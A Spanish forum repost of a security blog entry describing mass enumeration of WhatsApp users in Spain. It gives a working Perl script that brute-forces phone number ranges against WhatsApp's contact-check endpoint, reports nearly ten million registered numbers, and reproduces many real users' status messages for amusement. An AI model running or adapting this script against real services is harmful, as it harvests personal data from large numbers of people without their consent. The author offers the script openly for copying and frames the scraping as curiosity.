Casi 10 millones de móviles españoles con WhatsApp instalado.
[Only registered and activated users can see links. [Los usuarios sin registrar no pueden ver los enlaces click AQUI para registrarte]] ¡Qué pesados somos con whatsapp! Ya, bueno, eso es mentira. Realmente somos pesados con todo.
Haciendo algunos ejercicios con aplicaciones de iPhone, me dio por mirar un poco WhatsApp, como [Only registered and activated users can see links. [Los usuarios sin registrar no pueden ver los enlaces click AQUI para registrarte]] o [Only registered and activated users can see links. [Los usuarios sin registrar no pueden ver los enlaces click AQUI para registrarte]], pero es que la aplicación da tanto juego, que se puede hablar de ella muchas más veces.
Una de las cosas que observé en ese análisis es que cuando arranca, comprueba el estado de tus contactos y de esa forma, saber que personas de tu agenda usan el servicio.
Esta petición se realiza mediante HTTPS contra su servidor web con una llamada muy simple a la URL: [Only registered and activated users can see links. [Los usuarios sin registrar no pueden ver los enlaces click AQUI para registrarte]], que devuelve un plist con sus mensajes y disponibilidad.
<dict>
<key>P</key>
<string>+34600000158</string>
<key>T</key>
<integer>6151511</integer>
<key>S</key>
<string>Hey there! I am using WhatsApp.</string>
<key>JID</key>
<string>34600000158</string>
<key>NP</key>
<true/>
</dict>
El resto de esta entrada, pues ya os lo podéis imaginar: script en perl, lista de teléfonos registrados de España y a probar y cotillear cuantos hay usando el servicio y que estados graciosos hay. ¿Aburrido? No, ¡inquieto!
La lista de prefijos de teléfono registrados es pública y se puede descargar en un fichero zip de esta página web: [Only registered and activated users can see links. [Los usuarios sin registrar no pueden ver los enlaces click AQUI para registrarte]]
[Only registered and activated users can see links. [Los usuarios sin registrar no pueden ver los enlaces click AQUI para registrarte]]
El script en perl no es que soporte threads ni sea nada del otro mundo pero oye... funciona.
#!/usr/bin/perl
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
open A,"num.txt";
my @a=<A>;
my $i=0;
foreach my $b (@a){
chomp $b;
foreach $g (0..99) {
$i++;
my $post="";
$post="cd=1&cc=34&me=600000000";
foreach(0..9999) {
$post .= sprintf ("&u%%5B%%5D=%%2B34$b%02d%04d",$g,$_);
}
print "get $i\n";
my $req = new HTTP::Request 'POST','https://sro.whatsapp.net/client/iphone/iq.php';
$req->content_type('application/x-www-form-urlencoded');
$req->content("$post");
my $res = $ua->request($req);
print $res->as_string;
}
}
El resultado, cuando lo ejecuté el 10 de febrero y tras generar un log de 2Gb: 9.832.654 de números registrados.
Y algunos estados de gente graciosos:
HACKERS:
<string>pirateando conversaciones, menuda hacker</string>
<string>Xx_Hackero_xX</string>
<string>The Mind Hackers is Here!!!</string>
<string>HACKERMAN !!!</string>
<string>I'm not a Hacker, I'm a "Security Professional"</string>
<string>Hacker</string>
<string>*** Hacker. Hacker ***</string>
<string>Hacker mater</string>
<string>hacker</string>
<string>Hacker î
</string>
<string>Heart Hacker Rembo Now Is Here</string>
<string>Hacker</string>
<string>Soy una hacker!!!!...patosa!!!î
< /string>
<string>MaDr!D HaCKeR</string>
<string>De Hacker por la Red</string>
<string>Hacker</string>
<string>The HACKER</string>
<string>De examenes toda la semana.. Certified Ethical Hacker</string>
<string>Don't Panic! A 'hacker' is different from a 'cracker'.</string>
<string>Te reviento hacker!! Jaja</string>
<string>~Hacker~</string>
<string>android hacker</string>
<string>@andyyhacker</string>
<string>Quien viene a ver Hackers?????</string>
<string>Hacker, Blade Runner.</string>
<string>ahhahah soy un porulo hacker :Pî
½</string>
<string>Hackerdelmelo is hacking OFM</string>
<string>Saber romper medidas de seguridad no hacen k seas hacker al igual que saber hacer un puente en un coche no te convierte en un ingeniero</string>
<string>Me sty volviendo hacker</string>
<string>Xx_putoshackers_xX</string>
<string>el puto hacker</string>
<string>î®HACKERî®</string>
<string>Y si, morire de frio o de sueño, quiero ser hacker u3u</string>
<string>el hacker crea y el gobierno destruye</string>
<string>VOTAD x ROLLING HACKERS!!!</string>
<string>Los hackers son los padres</string>
<string>Cagüen el hacker...</string>
<string>îMarzo Negro.contra la ley sopa.ANONYMUS planea el mayor atake hacker</string>
<string>Certified Ethical Hacker</string>
<string>Mi Objetivo: Hacker de la vida</string>
SECURITY
<string>I'm not a Hacker, I'm a "Security Professional"</string>
<string>Ibiza Security</string>
<string>Shadows Are Security</string>
<string>Buguroo Offensive Security</string>
<string>Gordo Te amo (L) bailar,bailar,bailar! Security dance! :) mucha fiesta y muchas actuaciones! :p</string>
<string>the security men</string>
<string>SecurityViolationException: empty head on 'remote_user':47</string>
<string>Panda Security - cloudantivirus.com</string>
<string>Ibiza Security</string>
<string>Your Security is my Business...</string>
<string>Paid off security and got through the gate...</string>
<string>I'll be ur security!!</string>
<string>security!!!! ai ai ai ai</string>
<string>security private î
con dos cojones vamos a x elloî</string>
<string>Grupo Security Dogs</string>
<string>internet and security terrorims</string>
Fuente :securitybydefault